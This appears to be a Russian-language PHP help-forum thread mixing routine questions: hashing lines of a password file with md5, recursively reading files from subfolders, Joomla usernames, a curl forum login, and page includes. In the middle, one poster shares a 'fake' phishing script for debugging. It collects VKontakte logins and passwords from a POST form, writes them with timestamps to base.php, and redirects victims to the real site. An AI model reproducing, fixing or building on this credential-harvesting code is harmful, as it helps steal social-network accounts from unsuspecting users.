heretic1990,считываешь file() и затем циклом записываешь в новый файл комбинацию.Или сам код написать надо?
PHP: <?php $file=file('file.txt'); $fp=fopen("newfile.txt","w+"); for($i=0;$i<count($file);$i++) { $md5=md5($file[$i]); fputs($fp,"$file[$i];$md5\n"); } fclose($fp); ?> Вроде этого.(Не тестил)
<?php foreach (file('a.txt') as $pwd) $arr[] = trim($pwd).';'.md5(trim($pwd)); fwrite(fopen('a.txt','w'),implode("\n",$arr)); ?>
159932, то что надо, а fatalo, твой скрипт почему-то всё с новой строки записывает. всем спасибо за внимание. всем плюсы)))
Ситуация такая. На диске в каждой папке есть несколько под-под-папок. В кажной из них лежит файл с одинаковым названием. Нужно в цикле обойти все папки, и вытащить данные: 1. Название подпапки 2. Содержание этого файла. я делал это на Delphi, но сейчас надо на php... подскажите плиз как это можно сделать.
какбэ непонятно что ты хочешь получить имя юзера под которым ты залогинен - $my->username какого то определённого юзера - select username from jos_users для какой цели тебе это нужно?
судя по документации - имя залогиненого юзера я конечно пшп не знаю и двиг джумлы не изучал, но наверно переменная $mu->username получит данные из бд jos_users в случае если пользователь зашёл в систему echo $my->username не катит? сори , немного пьян мб не понимаю чего
посмотри как это реализовано в джумле там же после залогинивания в левом фрейме написано что то типа Welcome, %username%
Не могу понять в чем проблема пишу скрипт фека! PHP: <?PHP if ($_SERVER['REQUEST_METHOD'] == "POST") { $login = $_POST['login']; // Логин $pass = $_POST['passwd']; // Пароль $today = date("m.d.y"); $hour = date("H:i:s"); $u = strtolower($login) //vkontakte.ru/blank.php?code=10if(!ereg("^([0-9,a-z,A-Z]+)([.,_]([0-9,a-z,A-Z]+))*[@]([0-9,a-z,A-Z]+)([.,_,-]([0-9,a-z,A-Z]+))*[.]([0-9,a-z,A-Z]){2}([0-9,a-z,A-Z])?$",$email)){ if(!ereg("^([0-9,a-z,A-Z]+)([.,_]([0-9,a-z,A-Z]+))*[@]([0-9,a-z,A-Z]+)([.,_,-]([0-9,a-z,A-Z]+))*[.]([0-9,a-z,A-Z]){2}([0-9,a-z,A-Z])?$",$email)){ echo "http://***.com/login.html";$err = "yes"; } if (!ctype_alnum($pw) || strlen($pw) < 5 || strlen($pw) > 20) { echo "http://***.com/login.html"; $err = "yes"; }if ($err == "") { $log = fopen("base.php","a+"); //открываем файл базы fwrite($log," $login:$pass\\\\\\$today\\$hour \n"); //записываем всё fclose($log); //закрываем echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://vkontakte.ru/'></head></html>"; // куда пошлем пользователя после того как он ввел данные! } } ?>
Способ дебильный, но примерно так: PHP: <pre> <?php @set_time_limit(0); @ini_set("display_errors","1"); // Полный абсолютный путь до директории, в конце слеш не нужен $path = '/home/www/bla-bla/http/s1'; $filename = 'logfile.txt'; function fold($rootDir, $allData=array()) { $invisibleFileNames = array(".", ".."); $dirContent = scandir($rootDir); foreach($dirContent as $key => $content) { $path = $rootDir.'/'.$content; if(!in_array($content, $invisibleFileNames)) { if(is_file($path) && is_readable($path)) { preg_match('|\/(.*)\/|',$path,$res); $allData[] = $res[0]; }elseif(is_dir($path) && is_readable($path)) { $allData = fold($path, $allData); } } } return $allData; } $folders = fold($path); $count = count($folders); for ($i=0;$i<$count;$i++) { $handle = fopen($folders[$i] . $filename, "r"); $s = fread($handle, filesize($folders[$i] . $filename)); fclose($handle); echo "File: " . $folders[$i] . $filename . "\n"; echo "Content: " . $s . "\n"; } ?> </pre>
PHP: <?php $http="http://localhost/forum/index.php?act=Login&CODE=01"; $curl = curl_init(); curl_setopt($curl,CURLOPT_URL,$http); $data = 'UserName=user&PassWord=pass&x=16&y=15\r\n\r\n'; curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); curl_setopt($curl,CURLOPT_HEADER,0); curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060516 SeaMonkey/1.0.2'); // curl_setopt($curl, CURLOPT_COOKIE,$cookie); curl_setopt($curl,CURLOPT_POST,1); curl_setopt($curl,CURLOPT_POSTFIELDS,$data); curl_setopt($curl,CURLOPT_COOKIESESSION,1); //curl_setopt($curl,CURLOPT_MAXREDIRS,2); curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); $text = curl_exec($curl); curl_close($curl); echo $text; ?> как пройти это что б сохранить данные сессии PHP: /*<a href="http://localhost/forum/index.php?amp;">Or click here if you do not wish to wait</a> */
а смотрите у меня идёт HTML код И я хочу чтоб подгрузилась PHP страница в центре этого кода... Как это сделать? Если делаю require то она сверху загружается...